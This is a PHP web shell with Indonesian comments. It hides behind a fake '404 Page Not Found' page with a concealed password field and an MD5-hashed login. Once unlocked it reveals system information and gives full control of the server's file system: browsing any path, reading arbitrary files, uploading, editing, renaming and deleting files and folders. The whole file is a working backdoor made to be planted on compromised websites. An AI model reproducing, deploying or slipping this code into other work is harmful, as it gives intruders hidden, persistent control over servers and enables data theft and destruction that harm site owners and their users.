asdasdasdasd
<?php
session_start(); // Memulai sesi
// Hash MD5 dari password yang disimpan
$stored_password_hash = '52eb04c6c446017ea2b4a1b2c2351f9d'; // Hash untuk "password"
// Cek jika form di-submit
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['password'])) {
$input_password = $_POST['password']; // Ambil password dari input
$input_password_hash = md5($input_password); // Hash password yang dimasukkan
// Bandingkan hash yang dihasilkan dengan hash yang disimpan
if ($input_password_hash === $stored_password_hash) {
$_SESSION['loggedin'] = true; // Login sukses
echo 'Login berhasil!<br>';
} else {
echo 'Password salah!<br>';
}
} elseif (isset($_POST['logout'])) {
session_destroy(); // Menghancurkan sesi
header("Location: " . $_SERVER['PHP_SELF']); // Mengarahkan kembali ke halaman ini
exit;
}
}
// Cek apakah pengguna sudah login
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
// Pengguna sudah login; tampilkan tombol logout
echo '<form method="POST" action="">
<input type="submit" name="logout" value="Logout">
</form>';
} else {
// Tampilkan form login
// echo '<form method="POST" action="">
// Password: <input type="password" name="password" required>
// <input type="submit" value="Login">
// </form>';
echo '<html> <head> <title>404 Page Not Found</title><style type="text/css"> ::selection{ background-color: #E13300; color: white; } ::moz-selection{ background-color: #E13300; color: white; } ::webkit-selection{ background-color: #E13300; color: white; } body { background-color: #fff; margin: 40px; font: 13px/20px normal Helvetica, Arial, sans-serif; color: #4F5155; } a { color: #003399; background-color: transparent; font-weight: normal; } h1 { color: #444; background-color: transparent; border-bottom: 1px solid #D0D0D0; font-size: 19px; font-weight: normal; margin: 0 0 14px 0; padding: 14px 15px 10px 15px; } code { font-family: Consolas, Monaco, Courier New, Courier, monospace; font-size: 12px; background-color: #f9f9f9; border: 1px solid #D0D0D0; color: #002166; display: block; margin: 14px 0 14px 0; padding: 12px 10px 12px 10px; } #container { margin: 10px; border: 1px solid #D0D0D0; -webkit-box-shadow: 0 0 8px #D0D0D0; } p { margin: 12px 15px 12px 15px; } </style> </head> <body> <div id="container"> <h1>404 Page Not Found</h1> <p>The page you requested was not found.</p> </div><pre align=center><style type="text/css"> input { background-color : white; border-color: transparent; } </style><pre align=center>
<form method="POST" action=""><input type="password" name="password"></form></body></html>';
exit; // Hentikan eksekusi untuk mencegah menampilkan sisa halaman
}
?>
<!DOCTYPE html>
<html>
<head>
<title>File Management</title>
</head>
<body>
<center>
<table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
<?php
echo "<font color='green'>".php_uname()."</font></tr></td></center></table>";
echo '<table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
<tr align="center"><td align="center"><br>';
if (isset($_GET['j'])) {
$j = $_GET['j'];
} else {
$j = getcwd();
}
$j = str_replace('\\', '/', $j);
$paths = explode('/', $j);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
echo '<a href="?j=/">/</a>';
continue;
}
if ($pat == '') continue;
echo '<a href="?j=';
for ($i = 0; $i <= $id; $i++) {
echo "$paths[$i]";
if ($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
// ======================= AWAL FITUR BARU =======================
// Form untuk upload file, bikin folder, dan bikin file
echo '<br><br><br><font color="black">
<!-- Form Upload File -->
<form enctype="multipart/form-data" method="POST" style="display:inline;">
<input type="file" name="file" style="color:black;" required/>
<input type="submit" value="Upload" style="width:85px;height:25px"/>
</form>
<!-- Form Bikin Folder Baru -->
<form action="?option&j='.$j.'" method="POST" style="display:inline;">
<input type="text" name="name" placeholder="Nama Folder Baru" style="width:150px;height:25px;" required/>
<input type="hidden" name="opt" value="buat_folder">
<input type="submit" value="Bikin Folder" style="width:100px;height:25px"/>
</form>
<!-- Form Bikin File Baru -->
<form action="?option&j='.$j.'" method="POST" style="display:inline;">
<input type="text" name="name" placeholder="Nama File Baru" style="width:150px;height:25px;" required/>
<input type="hidden" name="opt" value="buat_file">
<input type="submit" value="Bikin File Kosong" style="width:120px;height:25px"/>
</form>
</font>';
// ======================= AKHIR FITUR BARU =======================
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $j.'/'.$_FILES['file']['name'])) {
echo '<br><br><font color="green">File berhasil diupload cuy!</font><br/>';
} else {
echo '<script>alert("Upload Gagal Brok!")</script>';
}
}
echo '</td></tr>';
if (isset($_GET['filesrc'])) {
echo "<tr><td> ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<textarea style="font-size: 8px; border: 1px solid white; background-color: green; color: white; width: 100%;height: 1200px;" readonly>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>'.$_POST['j'].'<br /><br />';
// ======================= AWAL LOGIKA FITUR BARU (YANG UDAH DIBENERIN) =======================
if ($_POST['opt'] == 'buat_folder') {
// Pake variabel $j yang udah ada, bukan $_POST['j']
if (mkdir($j . '/' . $_POST['name'])) {
echo '<br><br><font color="green">Folder berhasil dibuat cuy!</font><br/>';
// Refresh biar foldernya langsung muncul
echo '<meta http-equiv="refresh" content="1;url=?j='.$j.'">';
} else {
echo '<script>alert("Gagal buat folder brok! Mungkin permissionnya ga boleh.")</script>';
}
} elseif ($_POST['opt'] == 'buat_file') {
// Pake variabel $j yang udah ada, bukan $_POST['j']
if (file_put_contents($j . '/' . $_POST['name'], '')) {
echo '<br><br><font color="green">File berhasil dibuat gué!</font><br/>';
// Refresh biar filenya langsung muncul
echo '<meta http-equiv="refresh" content="1;url=?j='.$j.'">';
} else {
echo '<script>alert("Gagal buat file cuy! Mungkin permissionnya ga boleh.")</script>';
}
}
// ======================= AKHIR LOGIKA FITUR BARU =======================
elseif ($_GET['opt'] == 'btw') {
$cwd = getcwd();
echo '<form action="?option&j='.$cwd.'&opt=delete&type=buat" method="POST"><input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="j" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" value=">>>" style="width:100px; height: 30px;"/>
</form>';
} elseif ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
// Yang ini juga gua perbaiki biar rename-nya bener di direktori yang sama
$old_path = $_POST['j'];
$new_path = dirname($old_path) . '/' . $_POST['newname'];
if (rename($old_path, $new_path)) {
echo '<br><br><font color="green">Rename berhasil cuy!</font><br/>';
echo '<meta http-equiv="refresh" content="1;url=?j='.dirname($old_path).'">';
} else {
echo '<script>alert("Gagal rename brok!")</script>';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST"><input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.basename($_POST['j']).'" />
<input type="hidden" name="j" value="'.$_POST['j'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value=">>>" style="height:30px;" />
</form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['j'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo '<br><br><font color="green">OK</font><br/>';
} else {
echo '<script>alert("NO")</script>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: green; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['j'])).'</textarea><br />
<input type="hidden" name="j" value="'.$_POST['j'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value=">>>" style="height:30px; width:70px;"/>
</form>';
}
echo '</center>';
} else {
echo '</table><br /><center>';
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'g') {
if (rmdir($_POST['j'])) {
echo '<br><br><font color="green">OK</font><br/>';
echo '<meta http-equiv="refresh" content="1;url=?j='.dirname($_POST['j']).'">';
} else {
echo '<script>alert("NO")</script>';
}
} elseif ($_POST['type'] == 'file') {
if (unlink($_POST['j'])) {
echo '<br><br><font color="green">OK</font><br/>';
echo '<meta http-equiv="refresh" content="1;url=?j='.dirname($_POST['j']).'">';
} else {
echo '<script>alert("NO")</script>';
}
}
}
}
?>
<?php
echo '</center>';
$scandir = scandir($j);
$pa = getcwd();
echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>';
foreach ($scandir as $g) {
if (!is_dir("$j/$g") || $g == '.' || $g == '..') continue;
echo "<tr>
<td class=td_home>D<a href=\"?j=$j/$g\"> $g</a></td>
<td class=td_home><center>D</center></td>
<td class=td_home><center>";
if (is_writable("$j/$g")) echo '<font color="black">';
elseif (!is_readable("$j/$g")) echo '<font color="red">';
echo z("$j/$g");
if (is_writable("$j/$g") || !is_readable("$j/$g")) echo '</font>';
echo "</center></td>
<td class=td_home align=right> <form method=\"POST\" action=\"?option&j=$j\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15\">
<option value=\"Action\">+</option>
<option value=\"delete\">Delete</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"g\">
<input type=\"hidden\" name=\"j\" value=\"$j/$g\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15\"/>
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach ($scandir as $file) {
if (!is_file("$j/$file")) continue;
$size = filesize("$j/$file") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2).' MB';
} else {
$size = $size.' KB';
}
echo "<tr>
<td class=td_home>F<a href=\"?filesrc=$j/$file&j=$j\"> $file</a></td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home><center>";
if (is_writable("$j/$file")) echo '<font color="green">';
elseif (!is_readable("$j/$file")) echo '<font color="red">';
echo z("$j/$file");
if (is_writable("$j/$file") || !is_readable("$j/$file")) echo '</font>';
echo "</center></td>
<td class=td_home align=right> <form method=\"POST\" action=\"?option&j=$j\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15\">
<option value=\"Action\">+</option>
<option value=\"delete\">Delete</option>
<option value=\"edit\">Edit</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"j\" value=\"$j/$file\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15\"/>
</form></center></td>
</tr>";
}
echo '</table>
</div>';
function z($file) {
$z = fileperms($file);
if (($z & 0xC000) == 0xC000) {
$info = 's';
} elseif (($z & 0xA000) == 0xA000) {
$info = '4';
} elseif (($z & 0x8000) == 0x8000) {
$info = '0';
} elseif (($z & 0x6000) == 0x6000) {
$info = '3';
} elseif (($z & 0x4000) == 0x4000) {
$info = '3';
} elseif (($z & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($z & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = '5';
}
$info .= (($z & 0x0100) ? '2' : '0');
$info .= (($z & 0x0080) ? '1' : '0');
$info .= (($z & 0x0040) ? (($z & 0x0800) ? 's' : '6') : (($z & 0x0800) ? 'S' : '0'));
$info .= (($z & 0x0020) ? '2' : '0');
$info .= (($z & 0x0010) ? '1' : '0');
$info .= (($z & 0x0008) ? (($z & 0x0400) ? 's' : '6') : (($z & 0x0400) ? 'S' : '0'));
$info .= (($z & 0x0004) ? '2' : '0');
$info .= (($z & 0x0002) ? '1' : '0');
$info .= (($z & 0x0001) ? (($z & 0x0200) ? 't' : '6') : (($z & 0x0200) ? 'T' : '0'));
return $info;
}
?>

